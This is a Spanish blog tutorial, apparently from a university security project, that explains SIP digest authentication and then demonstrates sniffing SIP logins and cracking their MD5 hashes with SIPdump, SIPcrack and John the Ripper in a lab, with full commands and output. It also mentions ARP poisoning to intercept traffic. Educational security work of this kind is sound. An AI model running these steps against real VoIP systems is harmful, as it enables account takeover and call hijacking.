Seguridad en VoIP (I): Cracking de contraseñas SIP en GNU/Linux

Durante la presente edición del Master en Seguridad de la Información en la Universidad de Deusto he tenido la suerte de dirigir dos proyectos muy buenos sobre Seguridad en VoIP. El primero de ellos, más orientado a la seguridad entre centralitas o PBX, fue realizado por Gaizka Isusquiza, Marcelo Pellón y David Castellanos, y será comentado, muy probablemente, más adelante. El segundo de ellos analizó las herramientas de ataque existentes contra las comunicaciones mediante VoIP y fue realizado por Sara Rincón y María Unda. Durante las siguientes semanas me gustaría ir mostrando todo lo que ellas fueron analizando y probando, e incluso incluiré los vídeos en SWF que realizaron para la presentación final del Proyecto de Fin de Master. Gracias María y Sara por dejarme colgar vuestro material para que todo el mundo lo pueda leer (copyleft rocks!) 😉

 

Autenticación en SIP

El protocolo SIP utiliza la autenticación digest para la autenticación de los clientes. La autenticación digest es un mecanismo simple de autenticación desarrollada originalmente para HTTP (se le llama con frecuencia HTTP digest). El mecanismo de autenticación es muy simple, está basado en hashes criptográficos que evitan que se envíe la contraseña de los usuarios en texto claro.

La autenticación digest verifica que las dos partes que se comunican conocen un secreto compartido, que es la contraseña. Cuando un servidor quiere autenticar a un usuario, genera un desafío digest y se lo manda al usuario. Un ejemplo de desafío puede ser el siguiente:

Digest realm="iptel.org", qop="auth,auth-int",
  nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="", algorithm=MD5

Consiste en una serie de parámetros que son enviados al usuario. El usuario entonces utiliza los parámetros para generar una respuesta digest adecuada y enviársela al servidor. Los parámetros del desafío digest son los siguientes:

  1. realm: Es un parámetro obligatorio y debe estar presente en todos los desafíos. Su propósito es identificar las credenciales dentro de un mensaje SIP. Normalmente es el dominio del cual el servidor proxy SIP es responsable.
  2. nonce: es un string de datos generado únicamente cada vez que un servidor genera un desafío digest. Se construye a partir del hash MD5 de algún dato. Dicho dato normalmente incluye un sello de tiempo y la frase secreta (contraseña) que tiene el servidor. De esta manera se asegura que cada nonce tenga un tiempo de vida limitado (que no puede volver a ser usado más tarde) y también es único (ningún otro servidor será capaz de generar el mismo nonce). Los clientes generan la respuesta digest a partir del nonce, así el servidor recibirá el contenido del nonce en una respuesta digest. Normalmente verifica la validez del nonce antes de que compruebe el resto de la respuesta digest. De manera que, el nonce es un tipo de identificador que se asegura de que las credenciales digest recibidas han sido realmente generadas para un desafío digest concreto, y además limita el tiempo de vida de la respuesta digest, evitando que se vuelvan a lanzar ataques en el futuro.
  3. opaque: es un string de datos que se envía al usuario en el desafío. El usuario pasará el string de datos de vuelta al servidor en la respuesta digest. Esto permite a los servidores no mantener información sobre el estado. Si hay algún estado que ellos necesitan mantener entre el desafío y la respuesta, pueden pasárselo al cliente utilizando este parámetro y leerlo otra vez más tarde cuando la respuesta digest venga.
  4. algoritmo: el algoritmo utilizado para calcular los hashes. Sólo está soportado MD5.
  5. qop: la protección de la calidad. Especifica qué esquemas de protección soporta el servidor. El cliente elegirá una opción de la lista. El valor “auth” indica sólamente autenticación, el valor “auth-int” indica autenticación con protección de la integridad.

Después de recibir el desafío digest, un agente de usuario pedirá al usuario el nombre de usuario y la contraseña (si no está preconfgurado), generará la respuesta digest y la enviará al servidor. Una respuesta digest podría ser así:

Digest username="jan", realm="iptel.org",
  nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="sip:iptel.org",
  qop=auth, nc=00000001, cnonce="0a4f113b",
  response="6629fae49393a05397450978507c4ef1", opaque=""

Como podemos ver, la respuesta digest es similar al desadío digest. Los parámetros que coinciden tienen el mismo significado que en el desafío digest. Vamos a describir brevemente sólo los siguientes parámetros:

  1. uri: contiene el uri al que el cliente quiere acceder.
  2. qop: el nivel de protección elegido por el cliente.
  3. nc: contador de nonce, el valor es el contador en hexadecimal del número de peticiones (incluyendo la petición actual) que el cliente ha enviado con el nonce en su petición. Por ejemplo, en la primera petición enviada en respuesta a un nonce dado, el cliente manda “nc=00000001”. La finalidad de esta directiva es permitir que el servidor detecte peticiones de replay manteniendo su propia copia de este contador.
  4. cnonce: el valor es un string proporcionado por el cliente y utilizado tanto por el cliente como por el servidor para evitar ataques de texto plano elegidos, para proporcionar autenticación mutua y protección de la integridad del mensaje.
  5. response: es un string generado por el agente de usuario (cliente) que prueba que el usuario sabe la contraseña.

Desde la recepción de una respuesta digest, el servidor recalcula el valor de la respuesta para comparar, utilizando los atributos que da el cliente y el password almacenado en el servidor. Si el resultado es idéntico a la respuesta recibida desde el cliente entonces dicho cliente está autenticado.

Cuando un servidor SIP recibe una petición SIP y quiere verificar la autenticidad del usuario antes de procesar las peticiones, comprueba si la petición contiene las credenciales de digest. Si no hay credenciales en la petición SIP, generará una respuesta final negativa e incluirá el desafío digest en la respuesta.

Cuando el cliente recibe la respuesta conteniendo el desafío digest, debe calcula la respuesta digest adecuada y enviar la petición de nuevo, esta vez incluyendo las credenciales digest. El servidor entonces verifica la respuesta digest y procesa que la petición se ha realizado con éxito. Los agentes de usuario SIP utilizan la respuesta “401 Unauthorized” para incluir el desafío digest.

Un ejemplo de respuesta SIP que contiene el desafío digest:

SIP/2.0 401 Unauthorized.
Via: SIP/2.0/UDP 218.79.100.193:65030;branch=z9hG4bK1ce21dab.
To: "IPTel844978" <sip:844978@iptel.org>;tag=794fe65c16edfdf45da4fc39
From: "IPTel844978" <sip:844978@iptel.org>;tag=1fd6218e.
Call-ID: 2d471abf-c0fbee95-bee93355-fea1736b@218.79.100.193.
CSeq: 88608141 REGISTER.
WWW-Authenticate: Digest realm="iptel.org", \
  nonce="3f9fc19cf91f65958f664122c1310d4c28cc61a2".
Content-Length: 0.

El siguiente ejemplo muestra un mensaje REGISTER que contiene las credenciales digest.

REGISTER sip:iptel.org SIP/2.0.
Via: SIP/2.0/UDP 195.37.78.121:5060.
From: sip:jan@iptel.org.
To: sip:jan@iptel.org.
Call-ID: 003094c3-bcfea44f-40bdf830-2a557714@195.37.78.121.
CSeq: 102 REGISTER.
User-Agent: CSCO/4.
Contact: <sip:jan@195.37.78.121:5060>.
Authorization: Digest username="jan",realm="iptel.org",
    uri="sip:iptel.org",response="dab81127b9a7169ed57aa4a6ca146184",
    nonce="3f9fc0f9619dd1a712b27723398303ea436e839a",algorithm=md5.
Content-Length: 0.
Expires: 10.

sip01.jpg

Proceso de autenticación en SIP

A través de los mensajes REGISTER, los agentes de usuario SIP informan al servidor de su localización actual de manera que el servidor sepa dónde tiene que enviar peticiones posteriores. Si un servidor no autentica las peticiones REQUEST cualquiera puede registrar cualquier contacto para cualquier usuario, y por lo tanto secuestrar llamadas a dicha persona.

Si un atacante captura los mensajes descritos anteriormente, necesarios para registrar a un cliente en un servidor SIP, es capaz de obtener el hash MD5 de la contraseña que ambos comparten. De esta manera está expuesto a los ataques de fuerza bruta y diccionario.

Herramientas de cracking SIP

SIPcrack

SIPcrack es un programa para crackear las contraseñas del protocolo SIP en GNU/Linux. Contiene dos programas: SIPdump para capturar logins de SIP y SIPcrack para crackear los logins capturados. Podemos descargar el código fuente desde la página oficial http://www.codito.de o PacketStorm http://packetstormsecurity.org:

#  wget http://packetstormsecurity.org/Crackers/SIPcrack-0.1.tar.gz
#  tar xfz SIPcrack-0.1.tar.gz
#  cd SIPcrack-0.1
#  make

Capturando tráfico en un entorno conmutado (switches)

En caso de encontrarnos en una red con switches, para poder capturar los logins SIP será necesario llevar a cabo un ataque “man in the middle”, por ejemplo un ARP poisioning mediante el ettercap. El ettercap se encarga de envenenar la cache ARP tanto del cliente como del servidor SIP de manera que nos lleguen los paquetes que se envían para el registro en SIP y de reenviar dichos paquetes a sus destinatarios originales.

Capturando logins SIP con SIPdump

SIPdump captura logins de SIP, pero también analiza tráfico SIP a partir de una captura en formato pcap que haya capturado previamente otro sniffer, como Tcpdump o Ethereal. Para que SIPdump analice dicha captura especificaremos la ruta donde se encuentre dicho fichero con la opción -f y con -d el fichero donde volcará las capturas SIP que encuentre, en caso de no existir previamente, SIPdump lo creará.

# ./sipdump -f capturaSIP.pcap -d fichdump
SIPdump 0.1       ( MaJoMu | www.remote-exploit.org )

* Using tcpdump data file 'capturaSIP.pcap' for sniffing
* Starting to sniff with filter 'tcp or udp'
* Adding 192.168.0.35:50451 <-> 192.168.0.1:50195 to monitor list...id 0
* New traffic on monitored connection 0 (192.168.0.35 -> 192.168.0.1)
* Found challenge response (192.168.0.35:50451 <-> 192.168.0.1:50195)
* Wrote sniffed login 192.168.0.35 -> 192.168.0.1 (User: '200') to dump file
* Exiting, sniffed 1 logins

Además, SIPdump también puede funcionar como sniffer de logins SIP. Para ello debemos especificar la interfaz de red por la cual vamos a esnifar con la opción -i y el nombre del fichero que contendrá todas las capturas SIP con -d:

# ./sipdump -i eth0 -d captura.dump
SIPdump 0.1 ( MaJoMu | www.remote-exploit.org )

* Using dev 'eth0' for sniffing
* Starting to sniff with filter 'tcp or udp'

Una vez puesto a capturar el SIPdump, en otro host de la red abriremos un softphone que se registre contra un servidor Asterisk y haga una llamada:

*  Adding 192.168.1.35:50451 <-> 192.168.1.100:50195 to monitor list...id 0
*  New traffic on monitored connection 0 (192.168.1.35 -> 192.168.1.100)
*  Found challenge response (192.168.1.35:50451 <-> 192.168.1.100:50195)
*  Wrote sniffed login 192.168.1.35 -> 192.168.1.100 (User: '100') to dump file

Crackeando la contraseña usando SIPcrack

Una vez que tenemos el hash de la contraseña del login SIP que hemos capturado previamente, podremos lanzar dos tipos de ataque contra dicho hash: ataque por diccionario o por fuerza bruta.

Ataque por diccionario

Con la opción -w especificamos que vamos a romper la contraseña a partir de un fichero, en este caso un diccionario. Sino tenemos ningún diccionario de castellano instalamos el paquete wspanish desde el apt.

Con la opción -d le indicamos el fichero en el que hemos capturado previamente el login SIP con el SIPdump.

# apt-get install wspanish
# ./sipcrack -w /usr/share/dict/spanish -d captura.dump

A continuación nos aparecerá la lista de logins SIP, con sus hashes correspondientes, que hemos capturado previamente con el SIPdump, de la cual elegiremos cual queremos crackear.

SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org )
--
* Reading and parsing dump file...
* Found Accounts:
Num Server                Client            User Algorithm        Hash / Password

  1 192.168.1.100         192.168.1.35 100  MD5                   140c0b72f294abd9f4e13eea081a0307

* Select which entry to crack (1 - 1): 1
* Generating static MD5 hash...495ff79e6c8f0378a7c029289a444573
* Starting bruteforce against user '100' (MD5 Hash:
'140c0b72f294abd9f4e13eea081a0307')
* Loaded wordlist: '/usr/share/dict/spanish'
* Tried 47492 passwords in 1 seconds
* Found password: 'hola'
* Updating 'captura.dump'...done

Una vez crackeada la contraseña, la próxima vez que ejecutamos SIPcrack nos la mostrará en texto plano.

Ataque por fuerza bruta

Para realizar este ataque vamos a necesitar el crackeador de contraseñas John the Ripper. Podemos descargarlo desde la página oficial: http://www.openwall.com/john o podemos instalarlo desde el apt:

# apt-get install john

La opción –incremental[=mode] sirve para generar caracteres aleatorios. Mode acepta los siguientes valores:

  1. –incremental=alpha genera letras.
  2. –incremental=digits genera sólo números.
  3. –incremental=all genera caracteres alfanuméricos.

Si no se especifica nada tras la opción ­-incremental, John the ripper probará todas las posibilidades según el fichero de configuración, que se encuentra en /etc/john/john.conf:

[Incremental:All]
File = /usr/share/john/all.chr
MinLen = 5
MaxLen = 5
CharCount = 95

[Incremental:Alpha]
File = /usr/share/john/alpha.chr
MinLen = 5
MaxLen = 5
CharCount = 26

[Incremental:Digits]
File = /usr/share/john/digits.chr
MinLen = 5
MaxLen = 5
CharCount = 10

Con la opción –stdout[:length] lo redirige a la salida estándar. Si conocemos el tamaño máximo de la contraseña a romper podemos especificarlo tras los dos puntos.

Para más información sobre las opciones de John the ripper, en la página oficial hay una documentación online: http://www.openwall.com/john/doc.

Redirigimos la lista de todas las combinaciones posibles a un fichero.

# john --incremental=alpha --stdout > fichero.txt
words: 11881376 time: 0:00:00:03 w/s: 3960458 current: uxjqv

Ahora vamos a romper la contraseña a partir del fichero generado por John the ripper y elegimos el login SIP que vamos a crackear.

# ./sipcrack -w fichero.txt -d captura.dump
SIPcrack 0.1 ( MaJoMu | www.remote-exploit.org )
-----------------------------------------------------------------------------------------------------------------
* Reading and parsing dump file...
* Found Accounts:
Num       Server                  Client              User        Algorithm       Hash / Password
1         192.168.1.100           192.168.1.35        101         MD5             d666ff953dff9b05a54d0457ab671c78
2         192.168.1.100           192.168.1.35        200         PLAIN           hola
3         192.168.1.100           192.168.1.35        200         PLAIN           hola
4         192.168.1.100           192.168.1.35        101         MD5             da08487896afd6920a077661bfd3997d
* Select which entry to crack (1 - 4): 4
* Generating static MD5 hash...495ff79e6c8f0378a7c029289a444573
* Starting bruteforce against user '101' (MD5 Hash:
'da08487896afd6920a077661bfd3997d')
* Loaded wordlist: 'fichero.txt'
* Tried 5585 passwords in 0 seconds
* Found password: 'asdfg'
* Updating 'captura.dump'...done

Video/demostración de este ataque

En http://paginaspersonales.deusto.es/garaizar/VoIP/crackingVoIPGNULinux.html está colgado el video de demostración de este ataque en el entorno de pruebas que prepararon Sara y María.

8 pensamientos en “Seguridad en VoIP (I): Cracking de contraseñas SIP en GNU/Linux

  1. txipi

    Para el ataque con sipcrack y fuerza bruta, quizá sea más elegante utilizar la opción -s (de stdin) y pasar la salida del john por una tubería: john –stdout | ./sipcrack -s -d captura.dump

    Responder
  2. Wilber

    Hola: Tengo un Router VoIP MIPTEL Combox, no tengo la clave, al entrar por telnet me muestra el login de un linux:
    user: root
    password:
    Como puedo conseguir el password, alguien la cambio y no la conozco.
    Por favor es muy necesario.

    Gracias

    Wilber Arestegui

    Responder
  3. Pingback: Seguridad en VoIP (II): Cracking de contraseñas SIP en MS Windows « txipi:blog

  4. Pingback: Seguridad en VoIP (III): Captura de conversaciones o eavesdropping « txipi:blog

  5. Pingback: Telefonia IP a traves de Netland Chile : Felipe Barriga Richards

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *